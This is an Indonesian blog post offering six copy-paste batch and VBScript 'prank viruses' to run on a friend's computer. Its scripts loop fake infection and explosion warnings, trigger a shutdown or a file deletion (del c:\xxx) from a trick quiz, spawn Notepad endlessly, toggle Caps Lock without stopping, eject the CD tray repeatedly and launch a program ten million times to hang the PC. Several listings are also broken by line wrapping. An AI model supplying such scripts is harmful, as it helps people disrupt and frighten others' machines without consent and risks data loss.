Virus Sederhana

hay sobat, seneng banget aku bisa gerjain temen aku dengan virus virus komputer sederhana. bagaimana dengan kalian pastinya mau dong sedikit iseng dengan teman anda, ngerjain pc temen anda dengan virus mainan ini. dah jangan banyak basa basi langsung aja kita buat virusnya ya dan suuuuuttttt.. ayo kita kerjain dia
oya sobat pertama yang harus anda lakukan ialah membuka notepadnya terlebih dahulu lalu COPAS codenya

1. Message yg muncul terus menerus cara nya buka notepad lalu masukan script di bawah ini :

@ECHO off
:Begin
msg * Halo apa kabar ?
msg * Komputer anda terinfeksi Virus !!
msg * Warning !!
msg * Komputer anda sedang dalam keadaan berbahaya
msg * Harap instal ulang pc anda
msg * terimakasih............
msg * Meledak dalam 10 detik......
GOTO BEGIN
bisa dirubah sesuai keinginan anda! simpan dengan
Ekstensi.bat


contoh : ramli10.bat



2. pertanyaan menjebak
script nya

@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

simpan dengan Ekstensi .bat contoh contoh ramli10.bat


3. Membuka notepad terus-menerus
script nya

@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

sama simpan dengan Extensi .bat contoh : ramli10.bat


4. komputer mati sendiri dan ngirim message
script nya

Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

simpan dengan Extensi .vbs contoh : ramli10.vbs


5. buka tutup cd room terus menerus Virus ini saya berinama CD-Rom Kesurupan
script nya

Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

simpan dengan Ekstensi .vbs contoh : ramli10.vbs


6. pc ngehank  virus ini saya berinama virus TOURSTAR
script nya

option explicit
dim wshshell
set wshshell=wscript.createobject("wscript.shell")
dim x
for x=1 to 10000000
wshshell.run"tourstart.exe"
next

simpan dengan Ekstensi .vbs  contoh : ramli10.vbs


itulah beberapa dari sekian banyak kode kode yang ada
silahkan anda coba
"HARAP DIGUNAKAN DENGAN SEBIJAK BIJAKNYA JANGAN NGERJAIN SAMPAI YANG KETERLALUAN OK   {CINTA DAMAI}"
siap ngerjain temen anda, ??????


TERIMAKASIH BANYAK